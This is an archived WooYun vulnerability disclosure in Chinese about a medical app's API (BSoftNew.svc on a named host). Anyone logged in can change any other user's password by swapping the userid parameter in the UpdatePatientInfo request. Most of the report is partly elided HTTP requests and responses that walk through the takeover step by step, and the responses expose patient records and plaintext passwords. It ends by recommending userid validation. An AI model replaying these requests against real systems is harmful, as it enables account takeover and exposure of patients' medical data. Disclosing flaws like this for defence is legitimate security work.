乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-09-28: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-11-12: 厂商已经主动忽略漏洞,细节向公众公开
可以随意修改其他帐号的密码
帐号A登录帐号A:156...省略...6userid:2...省略...8
GET /BSoftNew.svc/Login?username=156...省略...6&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=p...省略...5&DevVer=4.2.2 HTTP/1.1Host: ylyjk.taivex.org:81...省略...HTTP/1.1 200 OK...省略...{"code":"0","data":{"token":"1.0,2,1,05...省略..."password":"p...省略...5","userid":"2...省略...8","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}
帐号A在修改密码的时候把userid改成帐号B的userid(2...省略...5)密码改成wooyun
抓包修改前GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...8&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer...省略...抓包修改前GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...5&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2...省略...HTTP/1.1 200 OK...省略...{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"958319","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"UpdatePatientInfo","errreason":"","requestseq":"0"}}
帐号B(56...省略...7)登录:密码为:wooyun,userid:2...省略...5
GET /BSoftNew.svc/Login?username=156...省略...7&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2 HTTP/1.1Host: ylyjk.taivex.org:81...省略...HTTP/1.1 200 OK...省略...{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"9...省略...9","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}
其他的不说,至少要对userid进行验证。。
未能联系到厂商或者厂商积极拒绝